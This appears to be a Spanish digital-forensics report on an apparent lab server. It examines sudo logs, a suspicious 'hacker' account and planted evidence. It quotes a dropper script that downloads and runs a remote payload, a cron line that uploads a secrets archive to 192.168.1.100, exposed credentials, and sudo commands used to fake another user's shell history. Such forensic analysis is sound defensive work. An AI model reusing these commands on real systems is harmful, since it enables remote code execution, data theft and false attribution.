Aug 22 14:26:51 4geeks-server sshd[761]: Server listening on 0.0.0.0 port 22.
Aug 22 14:26:51 4geeks-server systemd[1]: Started OpenBSD Secure Shell server.
Aug 22 14:26:51 4geeks-server sshd[761]: Server listening on :: port 22.
Aug 22 14:29:09 4geeks-server sshd[1830]: Accepted password for sysadmin from 192.168.68.113 port 51068 ssh2
Aug 22 14:29:09 4geeks-server sshd[1830]: pam_unix(sshd:session): session opened for user sysadmin by (uid=0)
sysadmin@4geeks-server:~$ █
```

Captura 38: Unidad ssh activa. — UTC: 2025-08-22T14:43Z

Resultado: La unidad ssh está activa y gestionando el puerto 22/tcp.

### 6.7.9. Alias/inexistencia de sshd.service

**Comando:** systemctl status sshd --no-pager -l || echo "[sshd.service no existe; ssh es la unidad válida]"

```
sysadmin@4geeks-server:~$ systemctl status sshd --no-pager -l || echo "[sshd.service no existe; ssh es la unidad válida]"
● ssh.service - OpenBSD Secure Shell server
  Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset: enabled)
  Active: active (running) since Fri 2025-08-22 14:26:51 UTC; 1h 5min ago
    Docs: man:sshd(8)
          man:sshd_config(5)
   Main PID: 761 (sshd)
     Tasks: 1 (limit: 4588)
    Memory: 5.6M
      CGroup: /system.slice/ssh.service
              └─761 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups

Aug 22 14:26:51 4geeks-server systemd[1]: Starting OpenBSD Secure Shell server ...
Aug 22 14:26:51 4geeks-server sshd[761]: Server listening on 0.0.0.0 port 22.
Aug 22 14:26:51 4geeks-server systemd[1]: Started OpenBSD Secure Shell server.
Aug 22 14:26:51 4geeks-server sshd[761]: Server listening on :: port 22.
Aug 22 14:29:09 4geeks-server sshd[1830]: Accepted password for sysadmin from 192.168.68.113 port 51068 ssh2
Aug 22 14:29:09 4geeks-server sshd[1830]: pam_unix(sshd:session): session opened for user sysadmin by (uid=0)
sysadmin@4geeks-server:~$
```

Captura 39: Clarificación de unidad SSH. — UTC: 2025-08-22T19:54:25Z

**Resultado:** No existe sshd.service como unidad separada; la unidad operativa es ssh.

### 6.7.10. Habilitación al arranque de SSH

**Comando:** systemctl is-enabled ssh

```
sysadmin@4geeks-server:~$ systemctl is-enabled ssh
enabled
sysadmin@4geeks-server:~$
```

Captura 40: SSH habilitado al arranque. — UTC: 2025-08-19T19:54:40Z

**Resultado:** enabled. Tras reinicios, el servicio arranca automáticamente.

## 6.8. Delegación de privilegios (sudo / sudoers / TTY)

### 6.8.1. Capacidades de sudo para sysadmin

Comando: sudo -l -U sysadmin

```
sysadmin@4geeks-server:~$ sudo -l -U sysadmin
Matching Defaults entries for sysadmin on 4geeks-server:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User sysadmin may run the following commands on 4geeks-server:
    (ALL : ALL) ALL
sysadmin@4geeks-server:~$
```

Captura 41: Capacidades sudo de sysadmin. — UTC: 2025-08-13T20:22:00Z

**Resultado:** la cuenta sysadmin puede ejecutar cualquier comando como cualquier usuario/grupo (incluido root). Sysadmin puede elevar privilegios. Contextualiza acciones en rutas restringidas.

### 6.8.2. Contenido activo de /etc/sudoers

Comando: sudo grep -n '^[^#]' /etc/sudoers

```
sysadmin@4geeks-server:~$ sudo grep -n '^[^#]' /etc/sudoers
9:Defaults      env_reset
10:Defaults     mail_badpass
11:Defaults     secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
20:root  ALL=(ALL:ALL)  ALL
23:%admin  ALL=(ALL)  ALL
26:sudo      ALL=(ALL:ALL)  ALL
sysadmin@4geeks-server:~$
```

Captura 42: /etc/sudoers (líneas activas). — UTC: 2025-08-13T19:52:15Z

**Resultado:** Sin excepciones amplias (no hay NOPASSWD globales). Control de elevación estándar.

### 6.8.3. Overrides en /etc/sudoers.d

**Comando A:** sudo ls -l /etc/sudoers.d

```
sysadmin@4geeks-server:~$ sudo ls -l /etc/sudoers.d
total 4
-r--r-- 1 root root 958 Feb  3 2020 README
```

Captura 43: inventario de /etc/sudoers.d. — UTC: 2025-08-13T19:52:30Z

**Comando B:** sudo sed -n '1,120p' /etc/sudoers.d/\* 2>/dev/null || true

```
sysadmin@4geeks-server:~$ sudo sed -n '1,120p' /etc/sudoers.d/* 2>/dev/null || true
#
# As of Debian version 1.7.2p1-1, the default /etc/sudoers file created on
# installation of the package now includes the directive:
#
#      #includedir /etc/sudoers.d
#
# This will cause sudo to read and parse any files in the /etc/sudoers.d
# directory that do not end in '~' or contain a '.' character.
#
# Note that there must be at least one file in the sudoers.d directory (this
# one will do), and all files in this directory should be mode 0440.
#
# Note also, that because sudoers contents can vary widely, no attempt is
# made to add this directive to existing sudoers files on upgrade. Feel free
# to add the above directive to the end of your /etc/sudoers file to enable
# this functionality for existing installations if you wish!
#
# Finally, please note that using the visudo command is the recommended way
# to update sudoers content, since it protects against many failure modes.
# See the man page for visudo for more information.
#
sysadmin@4geeks-server:~$
```

Captura 44: Contenido de /etc/sudoers.d. — UTC: 2025-08-13T19:52:45Z

**Resultado:** El directorio /etc/sudoers.d contiene solo README y su contenido son comentarios. No hay overrides efectivos (sin reglas personalizadas ni NOPASSWD). La configuración vigente es la del fichero principal /etc/sudoers.

#### 6.8.4. Estructura SSH de root y claves

**Comando A:** sudo ls -l /root/.ssh || true

```
sysadmin@4geeks-server:~$ sudo ls -l /root/.ssh || true
total 0
-rw----- 1 root root 0 Jun 21 19:04 authorized_keys
```

Captura 45: Estructura /root/.ssh. — UTC: 2025-08-19T19:53:00Z

**Comando B:** sudo wc -l /root/.ssh/authorized\_keys && sudo head -2 /root/.ssh/authorized\_keys

```
sysadmin@4geeks-server:~$ sudo wc -l /root/.ssh/authorized_keys && sudo head -2 /root/.ssh/authorized_keys
0 /root/.ssh/authorized_keys
sysadmin@4geeks-server:~$
```

Captura 46: authorized\_keys de root (conteo/extracto). — UTC: 2025-08-19T19:53:15Z

**Resultado:** Existe estructura SSH para root y el fichero authorized\_keys está presente pero vacío. Por tanto no hay claves públicas autorizadas para root; no hay evidencia de acceso por clave a esa cuenta, coherente con los logs. Esto no descarta el acceso por contraseña, pero por claves no hay acceso.

## 6.8.5. Comandos sudo sensibles (trazabilidad en logs)

**Comando:** sudo zgrep -nH "sudo: .\* COMMAND=" /var/log/auth.log\* \| grep -E "(tee|chown|chmod|touch|adduser|useradd|usermod)"

```
sysadmin@geeks-server:~$ sudo zgrep -nH "sudo: .* COMMAND=" /var/log/auth.log* \| grep -E "(tee|chown|chmod|touch|adduser|useradd|usermod)"  
[...]  
/var/log/auth.log:1:80:Jun 21 19:51:08 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/chmod +x /opt/scripts/logrotate.sh  
/var/log/auth.log:1:91:Jun 21 19:53:07 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/tee etc/cron.d/rotate  
/var/log/auth.log:1:94:Jun 21 19:56:52 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/tee etc/cron.d/rotate  
/var/log/auth.log:1:103:Jun 21 20:01:12 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/var/www/html/ ; USER=root ; COMMAND=/usr/bin/tee var/www/html/index.html  
/var/log/auth.log:1:127:Jun 21 20:13:53 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/tee wazuh-install.sh  
/var/log/auth.log:1:138:Jun 21 20:18:23 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/chmod -x wazuh-install.sh  
/var/log/auth.log:1:165:Jun 23 13:00:38 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/tee /etc/apt/keyrings/wazuh.gpg  
/var/log/auth.log:1:171:Jun 23 13:02:09 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/tee /etc/apt/keyrings/wazuh.gpg  
/var/log/auth.log:1:174:Jun 23 13:04:52 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/tee /etc/apt/sources.list.d/wazuh.list  
/var/log/auth.log:1:192:Jun 23 13:16:37 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/tee /etc/apt/keyrings/wazuh.gpg  
/var/log/auth.log:1:192:Jun 23 13:16:37 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/chmod 644 /etc/apt/keyrings/wazuh.gpg  
/var/log/auth.log:1:200:Jun 23 13:17:34 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/tee /etc/apt/sources.list.d/wazuh.list  
/var/log/auth.log:1:248:Jun 23 13:26:20 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/tee /etc/apt/keyrings/wazuh.gpg  
/var/log/auth.log:1:251:Jun 23 13:27:03 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/tee /etc/apt/sources.list.d/wazuh.list  
/var/log/auth.log:1:281:Jun 23 14:07:19 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/tee /home/reports/.note  
/var/log/auth.log:1:299:Jun 23 14:09:58 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/tee /opt/.archive/credentials.txt  
/var/log/auth.log:1:302:Jun 23 14:10:41 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/chmod 644 /opt/.archive/credentials.txt  
/var/log/auth.log:1:305:Jun 23 14:12:12 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/tee /home/reports/.bash_history  
/var/log/auth.log:1:308:Jun 23 14:13:00 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/chown reports:reports /home/reports/.bash_history  
/var/log/auth.log:1:313:Jun 23 14:18:18 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/tee -a /home/reports/.bash_history  
/var/log/auth.log:1:316:Jun 23 14:18:50 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/tee -a /home/reports/.bash_history  
/var/log/auth.log:1:319:Jun 23 14:19:27 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/tee -a /home/reports/.bash_history  
/var/log/auth.log:1:322:Jun 23 14:19:54 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/tee -a /home/reports/.bash_history  
/var/log/auth.log:1:325:Jun 23 14:20:20 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/chown reports:reports /home/reports/.bash_history  
/var/log/auth.log:1:328:Jun 23 14:20:31 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/touch /home/reports/install.sh  
/var/log/auth.log:1:334:Jun 23 14:28:35 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/touch /home/reports/backup.log  
/var/log/auth.log:1:340:Jun 23 14:31:29 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/chown reports:reports /home/reports/install.sh /home/repo  
rts/backup.log  
/var/log/auth.log:1:346:Jun 23 14:41:08 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/chown reports:reports /home/reports/chat.txt  
/var/log/auth.log:1:428:Jun 23 16:43:04 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/tee /var/backups/.Logs/creds.txt  
/var/log/auth.log:1:431:Jun 23 16:43:31 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/chmod 644 /var/backups/.Logs/creds.txt  
/var/log/auth.log:1:435:Jun 23 16:45:03 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/tee -a /home/sysadmin/.bash_history  
grip: gz: No such file or directory  
sysadmin@geeks-server:~$
```

Captura 47: Sudo con comandos sensibles en logs. — UTC: 2025-08-22T15:52:00Z

**Resultado:** Los registros evidencian que, desde consola local (TTY=tty1) y con privilegios de administrador, el 23 de junio se ejecuta la siguiente secuencia:

A las 14:07 se crea reports/.note; entre 14:09–14:10 se deja /opt/.archive/credentials.txt con el texto reports:reports123 y con el archivo accesible para otros usuarios; entre 14:18–14:20 se inyectan líneas en reports/.bash\_history; entre 14:23–14:41 se incorpora reports/install.sh y se escribe backup.log con la IP incongruente 102.168.1.100; a las 15:02 ya existe /home/hacker; a las 15:06 aparece /usr/local/bin/backup2.sh; a las 15:08 se activa la persistencia en /etc/cron.d/sys-maintenance; y a las 16:43 se duplica el “secreto” en /var/backups/.logs/creds.txt. Esta secuencia permite reconstruir con precisión qué se ejecutó con privilegios y cuándo.

## 6.8.6. Origen de la sesión privilegiada (TTY)

**Comando:** sudo zgrep -nH 'TTY=tty1' /var/log/auth.log\* | head

```
sysadmin@geeks-server:~$ sudo zgrep -nH 'TTY=tty1' /var/log/auth.log* | head  
[sudo] password for sysadmin:  
/var/log/auth.log:1:13:Aug 22 16:05:10 4geeks-server sudo: sysadmin : TTY pts/0 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/zgrep -nH TTY=tty1 /var/log/auth.log /var/log/auth.log.1  
/var/log/auth.log:1:63:Jun 21 19:45:53 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/apt update  
/var/log/auth.log:1:79:Jun 21 19:47:27 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/apt install apache2 vsftpd ufw  
/var/log/auth.log:1:82:Jun 21 19:48:10 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/apt install cron arpt net-tools -y  
/var/log/auth.log:1:85:Jun 21 19:49:14 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/mkinitrd -p /opt/scripts  
/var/log/auth.log:1:88:Jun 21 19:51:08 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/chmod +x /opt/scripts/logrotate.sh  
/var/log/auth.log:1:91:Jun 21 19:53:07 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/tee /etc/cron.d/rotate  
/var/log/auth.log:1:94:Jun 21 19:54:52 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/var/www/html/ ; USER=root ; COMMAND=/usr/sbin/adduser reports  
/var/log/auth.log:1:103:Jun 21 20:01:12 4geeks-server sudo: sysadmin : TTY=tty1 ; PWD=/var/www/html/index.html  
sysadmin@geeks-server:~$
```

Captura 48: TTY de origen para acciones elevadas. — UTC: 2025-08-22T18:52:00Z

**Resultado:** Las entradas con TTY=tty1 en auth.log\* confirman que varias acciones con sudo se ejecutaron desde consola local. Indica ejecución local con elevación de privilegios.(La única línea pts/0 ,indicativo de conexión por SSH es la consulta actual y no cambia la conclusión).

## 6.8.7. Cuenta “hacker”: alta y trazas de gestión

**Comando A:** sudo stat /home/hacker

**Comando B:** sudo journalctl -o short-iso -g 'useradd|adduser|usermod|groupadd chpasswd' --no-pager

```
sysadmin@4geeks-server:~$ sudo stat /home/hacker
  File: /home/hacker
  Size: 4096          Blocks: 8          IO Block: 4096   directory
Device: 802h/2050d  Inode: 393249      Links: 2
Access: (0755/drwxr-xr-x)  Uid: ( 1002/  hacker)  Gid: ( 1002/  hacker)
Access: 2025-08-22 14:32:08.556618598 +0000
Modify: 2025-06-23 15:02:47.580029316 +0000
Change: 2025-06-23 15:02:47.580029316 +0000
 Birth: -
sysadmin@4geeks-server:~$ sudo journalctl -o short-iso -g 'useradd|adduser|usermod|groupadd chpasswd' --no-pager
-- Logs begin at Sat 2025-06-21 19:04:00 UTC, end at Fri 2025-08-22 16:12:21 UTC. --
2025-06-21T19:54:52+0000 4geeks-server sudo[638]: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/sbin/adduser reports
-- Reboot --
2025-08-22T16:12:21+0000 4geeks-server sudo[3645]: sysadmin : TTY=pts/0 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/journalctl -o short-iso -g useradd|adduser|usermod|groupadd chpas
wd --no-pager
sysadmin@4geeks-server:~$
```

Captura 49: Alta de HOME vs. eventos de gestión. — UTC: 2025-08-22T16:12:00Z

**Resultado:** /home/hacker tiene mtime 2025-06-23 15:02 UTC y no hay entradas de alta/gestión en esa ventana. Compatible con creación desde sesión ya privilegiada o métodos que el journal no registra.

## 6.8.8. Cuenta “hacker”: política de contraseña

**Comando:** sudo chage -l hacker

```
sysadmin@4geeks-server:~$ sudo chage -l hacker
Last password change : Jun 23, 2025
Password expires       : never
Password inactive      : never
Account expires        : never
Minimum number of days between password change : 0
Maximum number of days between password change : 99999
Number of days of warning before password expires : 7
sysadmin@4geeks-server:~$
```

Captura 50: Política de caducidad de la cuenta. — UTC: 2025-08-19T19:53:35Z

**Resultado:** La política de contraseña de hacker muestra último cambio: 23-jun-2025, caducidad: never, inactividad: never, caducidad de cuenta: never, mínimo entre cambios: 0 días, máximo: 99 999 días, aviso previo: 7 días. Esto indica una contraseña sin vencimiento, parámetros por defecto permisivos y que el cambio registrado coincide con la fecha del incidente; no implica por sí mismo uso activo de la cuenta. .

## 6.9. Artefactos bajo HOME y evidencias de siembra

### 6.9.1. Contenido y tiempos en /home/reports

Comando: ls -l /home/reports

```
sysadmin@4geeks-server:~$ ls -l /home/reports
total 12
-rw-r--r-- 1 reports reports 129 Jun 23 14:30 backup.log
-rw-r--r-- 1 reports reports 139 Jun 23 14:40 chat.txt
-rw-r--r-- 1 reports reports 270 Jun 23 14:28 install.sh
sysadmin@4geeks-server:~$ █
```

Captura 51: Inventario de /home/reports. — UTC: 2025-08-13T20:47:36Z

**Resultado:** install.sh (14:28), backup.log (14:30) y chat.txt (14:40). El momento de install.sh lo sitúa como pieza central previa a las ejecuciones periódicas.

### 6.9.2. bash\_history de reports: metadatos

Comando: stat /home/reports/.bash\_history

```
sysadmin@4geeks-server:~$ stat /home/reports/.bash_history
  File: /home/reports/.bash_history
  Size: 120          Blocks: 8          IO Block: 4096   regular file
Device: 802h/2050d      Inode: 393244      Links: 1
Access: (0600/-rw-----)  Uid: ( 1001/ reports)  Gid: ( 1001/ reports)
Access: 2025-08-19 20:24:58.588973183 +0000
Modify: 2025-06-23 14:19:54.765972656 +0000
Change: 2025-06-23 14:20:30.234068353 +0000
 Birth: -
sysadmin@4geeks-server:~$ █
```

Captura 52: Metadatos del historial de reports. — UTC: 2025-08-19T20:48:23Z

**Resultado:** Modify 14:19:54, permisos 0600. Un mtime dentro de la ventana crítica no atribuye autoría por sí mismo; requiere contrastar contenido y otras trazas.

### 6.9.3. install.sh: metadatos

**Comando:** stat /home/reports/install.sh

```
sysadmin@4geeks-server:~$ stat /home/reports/install.sh
  File: /home/reports/install.sh
  Size: 270          Blocks: 8          IO Block: 4096   regular file
Device: 802h/2050d      Inode: 393247      Links: 1
Access: (0644/-rw-r--r--)  Uid: ( 1001/ reports)  Gid: ( 1001/ reports)
Access: 2025-08-19 20:37:11.602689727 +0000
Modify: 2025-06-23 14:28:02.371282742 +0000
Change: 2025-06-23 14:31:29.091835798 +0000
 Birth: -
sysadmin@4geeks-server:~$
```

*Captura 53: Metadatos de install.sh. — UTC: 2025-08-19T20:49:18Z*

**Resultado:** 270 B, 0644, cambios entre 14:28–14:31. Ventana compatible con preparación previa a la persistencia.

### 6.9.4. install.sh: contenido (dropper)

**Comando:** sudo sed -n '1,80p' /home/reports/install.sh

```
sysadmin@4geeks-server:~$ sudo sed -n '1,80p' /home/reports/install.sh
#!/bin/bash

echo "[*] Preparing enviroment ... "
sleep 1
mkdir -p /tmp/.temp
echo "[*] Downloading dependencies ... "
sleep 2
curl -s http://192.168.1.100/payload.bin -o /tmp/.temp/payload
chmod +x /tmp/.temp/payload
/tmp/.temp/payload &
echo "[*] Installation complete."
sysadmin@4geeks-server:~$
```

*Captura 54: Contenido funcional de install.sh. — UTC: 2025-08-19T20:51:13Z*

**Resultado:** Crea /tmp/.temp, descarga desde http://192.168.1.100/... y ejecuta en segundo plano. Patrón típico de dropper: prepara entorno, obtiene carga y la lanza. El destino externo coincide con el observado en la tarea periódica.

### 6.9.5. bash\_history de sysadmin: metadatos

**Comando:** stat /home/sysadmin/.bash\_history

```
sysadmin@4geeks-server:~$ stat /home/sysadmin/.bash_history
  File: /home/sysadmin/.bash_history
  Size: 1329          Blocks: 8          IO Block: 4096   regular file
Device: 802h/2050d      Inode: 393240      Links: 1
Access: (0600/-rw-----)  Uid: ( 1000/sysadmin)  Gid: ( 1000/sysadmin)
Access: 2025-08-19 19:36:30.502193249 +0000
Modify: 2025-06-23 16:45:20.569169223 +0000
Change: 2025-08-19 19:36:30.502193249 +0000
 Birth: -
sysadmin@4geeks-server:~$
```

*Captura 55: Metadatos del historial de sysadmin. — UTC: 2025-08-19T20:23:06Z*

**Resultado:** Modificación dentro de la ventana crítica.

### 6.9.6. bash\_history de sysadmin: extracto con siembra

**Comando:** sudo cat /home/sysadmin/.bash\_history

```
sysadmin@4geeks-server:~$ sudo cat /home/sysadmin/.bash_history
rm ~/.bash_history
exit
echo "Reminder: new credentials for reports stored temporarily in /opt/.archive" | sudo tee /home/reports/.note
exit
sudo mkdir -p /opt/.archive
echo "reports:reports123" | sudo tee /opt/.archive/credentials.txt
sudo chmod 644 /opt/.archive/credentials.txt
echo "cat /opt/.archive/credentials.txt" | sudo tee /home/reports/.bash_history
sudo chown reports:reports /home/reports/.bash_history
echo "wget http://192.168.1.100/install.sh" | sudo tee -a /home/reports/.bash_history
echo "chmod +x install.sh" | sudo tee -a /home/reports/.bash_history
echo "./install.sh" | sudo tee -a /home/reports/.bash_history
echo "nano backup.log" | sudo tee -a /home/reports/.bash_history
sudo chown reports:reports /home/reports/.bash_history
sudo touch /home/reports/install.sh
sudo nano /home/reports/install.sh
sudo touch /home/reports/backup.log
sudo nano /home/reports/backup.log
sudo chown reports:reports /home/reports/install.sh /home/reports/backup.log
ls
pwd
sudo nano /home/reports/chat.txt
sudo chown reports:reports /home/reports/chat.txt
exit
cat /var/backups/.logs/creds.txt
sudo mkdir -p /var/backups/.logs
echo "reports:reports123" | sudo tee /var/backups/.logs/creds.txt
sudo chmod 644 /var/backups/.logs/creds.txt
echo "cat /var/backups/.logs/creds.txt" | sudo tee -a /home/sysadmin/.bash_history
sysadmin@4geeks-server:~$
```

*Captura 56: Extracto del historial con siembra. — UTC: 2025-08-19T20:24:13Z*

**Resultado:** Comandos que inyectan líneas en el historial de reports mediante sudo tee -a /home/reports/.bash\_history. Nota: tee -a añade texto al final de un archivo. Este mecanismo permite simular actividad de otra cuenta; ese historial no es fiable para atribución.

### 6.9.7. Creación de /opt/.archive (14:00–14:15 UTC)

**Comando:** sudo journalctl --since '2025-06-23 14:00:00 UTC' --until '2025-06-23 14:15:00 UTC' | grep -i 'opt/.archive' -n

```
sysadmin@4geeks-server:~$ sudo journalctl --since '2025-06-23 14:00:00 UTC' --until '2025-06-23 14:15:00 UTC' | grep -i 'opt/.archive' -n
159:Jun 23 14:09:01 4geeks-server sudo[8017]: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/mkdir -p /opt/.archive
162:Jun 23 14:09:58 4geeks-server sudo[8029]: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/tee /opt/.archive/credentials.txt
165:Jun 23 14:10:41 4geeks-server sudo[8038]: sysadmin : TTY=tty1 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/chmod 644 /opt/.archive/credentials.txt
sysadmin@4geeks-server:~$
```

Captura 57: Trazas de creación de /opt/.archive. — UTC: 2025-08-19T19:51:10Z

**Resultado:** Secuencia con sudo, que crea y expone /opt/.archive/credentials.txt. Constan tres acciones consecutivas desde el propio terminal con permisos elevados: 14:09:01 mkdir -p /opt/.archive; 14:09:58 tee /opt/.archive/credentials.txt; 14:10:41 chmod 0644 sobre ese fichero. La secuencia crea el directorio, escribe el archivo y lo deja legible por otros (0644).

### 6.9.8. credentials.txt: metadatos

**Comando:** sudo stat /opt/.archive/credentials.txt

```
sysadmin@4geeks-server:~$ sudo stat /opt/.archive/credentials.txt
  File: /opt/.archive/credentials.txt
  Size: 19          Blocks: 8          IO Block: 4096   regular file
Device: 802h/2050d      Inode: 393246      Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/      root)  Gid: (    0/      root)
Access: 2025-06-23 14:09:58.840345447 +0000
Modify: 2025-06-23 14:09:58.844345458 +0000
Change: 2025-06-23 14:10:41.988465035 +0000
 Birth: -
sysadmin@4geeks-server:~$
```

Captura 58: Metadatos de credentials.txt. — UTC: 2025-08-19T19:50:15Z

**Resultado:** 19 Bytes, root:root, permisos 0644. Un secreto legible por otros (0644) es incompatible con prácticas seguras. Las marcas temporales encajan con el journal.

### 6.9.9. credentials.txt: contenido

**Comando:** sudo cat /opt/.archive/credentials.txt

```
sysadmin@4geeks-server:~$ sudo cat /opt/.archive/credentials.txt
reports:reports123
sysadmin@4geeks-server:~$
```

Captura 59: Contenido de credentials.txt. — UTC: 2025-08-19T19:50:25Z

**Resultado:** reports:reports123. Ubicación inusual, permisos laxos y formato evidente apuntan a que se puede tratar de un archivo depositado para desviar la atribución.

### 6.9.10. Reutilización del secreto (búsqueda)

**Comando:** sudo grep -R -nF -- "\$(sudo cat /opt/.archive/credentials.txt)" /home /var/backups 2>/dev/null

```
sysadmin@4geeks-server:~$ sudo grep -R -nF -- "$(sudo cat /opt/.archive/credentials.txt)" /home /var/backups 2>/dev/null
/home/sysadmin/.bash_history:6:echo "reports:reports123" | sudo tee /opt/.archive/credentials.txt
/home/sysadmin/.bash_history:27:echo "reports:reports123" | sudo tee /var/backups/.logs/creds.txt
/var/backups/.logs/creds.txt:1:reports:reports123
sysadmin@4geeks-server:~$
```

Captura 60: Búsqueda de reutilización del secreto. — UTC: 2025-08-19T19:50:40Z

**Resultado:** Se localiza el mismo contenido en /var/backups/.logs/creds.txt. La duplicidad refuerza el patrón de siembra coordinada.

### 6.9.11. Dirección IP incongruente (102.168.1.100)

**Comando:** sudo grep -R -n '102.168.1.100' /var/log /etc /home /usr/local 2>/dev/null

```
sysadmin@4geeks-server:~$ sudo grep -R -n '102.168.1.100' /var/log /etc /home /usr/local 2>/dev/null
Binary file /var/log/journal/92e33/bfa6d49a8421fb605b48cd7/system.journal matches
/var/log/auth.log:24:Aug 20 22:53:26 4geeks-server sudo: sysadmin : !iY=pts/0 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/grep -R -n 102.168.1.100 /var/log /etc /home /usr/local /home/reports/backup.log:3:[INFO] Uploading to 102.168.1.100:8080
sysadmin@4geeks-server:~$
```

Captura 61: Única aparición de 102.168.1.100. — UTC: 2025-08-19T19:51:25Z

**Resultado:** Solo aparece en home/reports/backup.log. Difiere del patrón consistente 192.168.1.100, por lo que parece rastro confuso/siembra deliberada.

## 6.9.12. Indicador 192.168.1.100 en múltiples ubicaciones

**Comando:** sudo grep -R "192\.168\.1\.100" /etc /home /usr/local

```
sysadmin@4geeks-server:~$ sudo grep -R "192\.168\.1\.100" /etc /home /usr/local
grep: /etc/systemd/system/multi-user.target.wants/snapd_aa-prompt-listener.service: No such file or directory
/home/sysadmin/.bash_history:echo "wget http://192.168.1.100/install.sh" | sudo tee -a /home/reports/.bash_history
/home/reports/.bash_history:wget http://192.168.1.100/install.sh
/home/reports/install.sh:curl -s http://192.168.1.100/payload.bin -o /tmp/.temp/payload
/usr/local/bin/backup2.sh:curl -X POST -F 'file=@/tmp/secrets.tgz' http://192.168.1.100:8080/upload
sysadmin@4geeks-server:~$
```

*Captura 62: Reaparición del IoC 192.168.1.100. — UTC: 2025-08-19T19:51:40Z*

**Resultado:** La IP aparece en historiales, en el dropper y en el script de cron. Convergencia consistente con destino real de comunicaciones.

## 6.9.13. Archivo oculto .note en reports (metadatos)

**Comando:** sudo stat /home/reports/.note || true

```
sysadmin@4geeks-server:~$ sudo stat /home/reports/.note || true
  File: /home/reports/.note
  Size: 74          Blocks: 8          IO Block: 4096   regular file
Device: 802h/2050d      Inode: 393241      Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)  Gid: (    0/    root)
Access: 2025-06-23 14:07:19.871901046 +0000
